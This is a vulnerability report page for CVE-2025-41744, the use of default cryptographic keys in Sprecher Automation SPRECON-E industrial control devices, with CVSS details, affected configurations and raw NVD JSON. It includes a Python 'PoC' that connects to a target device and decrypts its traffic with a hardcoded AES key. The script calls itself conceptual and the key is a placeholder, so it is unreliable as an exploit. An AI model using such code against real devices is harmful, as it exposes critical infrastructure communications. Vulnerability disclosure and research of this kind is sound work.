Security Vulnerability Report
中文
CVE-2025-41744 CVSS 9.1 CRITICAL

CVE-2025-41744

Published: 2025-12-02 11:15:52
Last Modified: 2026-02-23 17:15:03

Description

Sprecher Automations SPRECON-E series uses default cryptographic keys that allow an unprivileged remote attacker to access all encrypted communications, thereby compromising confidentiality and integrity.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:sprecher-automation:sprecon-e-c_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sprecher-automation:sprecon-e-c:*:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sprecher-automation:sprecon-e-p_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sprecher-automation:sprecon-e-p:*:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:sprecher-automation:sprecon-e-t3_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sprecher-automation:sprecon-e-t3:*:*:*:*:*:*:*:* - NOT VULNERABLE
SPRECON-E-C440 < latest firmware
SPRECON-E-C640 < latest firmware
SPRECON-E series all versions prior to vendor patch

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-41744 PoC - SPRECON-E Default Key Exploitation Note: This is a conceptual PoC for educational purposes only. """ import socket import struct from Crypto.Cipher import AES from Crypto.Util.Padding import unpad # Default key found in SPRECON-E devices (example key) DEFAULT_KEY = bytes.fromhex('0123456789ABCDEF0123456789ABCDEF') DEFAULT_IV = bytes.fromhex('FEDCBA9876543210FEDCBA9876543210') def decrypt_communication(encrypted_data): """Decrypt SPRECON-E communication using default key""" try: cipher = AES.new(DEFAULT_KEY, AES.MODE_CBC, DEFAULT_IV) decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size) return decrypted except Exception as e: print(f"Decryption failed: {e}") return None def capture_and_decrypt(target_ip, port=5000): """Capture encrypted traffic and decrypt using default key""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) # Receive encrypted data encrypted_data = sock.recv(4096) sock.close() # Decrypt using default key decrypted = decrypt_communication(encrypted_data) if decrypted: print(f"Decrypted communication: {decrypted}") return True return False if __name__ == "__main__": print("CVE-2025-41744 PoC - SPRECON-E Default Key Exploitation") print("Target: SPRECON-E device with default encryption key") # Usage: python poc.py <target_ip> # Replace with actual target IP for testing authorized systems

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41744", "sourceIdentifier": "[email protected]", "published": "2025-12-02T11:15:51.760", "lastModified": "2026-02-23T17:15:02.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sprecher Automations SPRECON-E series uses default cryptographic keys that allow an unprivileged remote attacker to access all encrypted communications, thereby compromising confidentiality and integrity."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1394"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sprecher-automation:sprecon-e-c_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "9DF00EFE-05D9-48D1-9D32-B0E4E40D14F3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sprecher-automation:sprecon-e-c:*:*:*:*:*:*:*:*", "matchCriteriaId": "17CF3E5A-AAD9-4B96-945D-501E461661CC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sprecher-automation:sprecon-e-p_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F27A10F8-544C-4B48-9FB9-198D79CCB885"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sprecher-automation:sprecon-e-p:*:*:*:*:*:*:*:*", "matchCriteriaId": "E0CC75D6-DD26-42A0-83F4-69423D8F5284"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sprecher-automation:sprecon-e-t3_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "B0BDEAF2-092F-413D-9D16-AAFA484D13AB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sprecher-automation:sprecon-e-t3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6384D2B2-DCDA-445B-8336-E4EF0E2B3267"}]}]}], "references": [{"url": "https://www.sprecher-automation.com/fileadmin/itSecurity/PDF/SPR-2511043_de.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}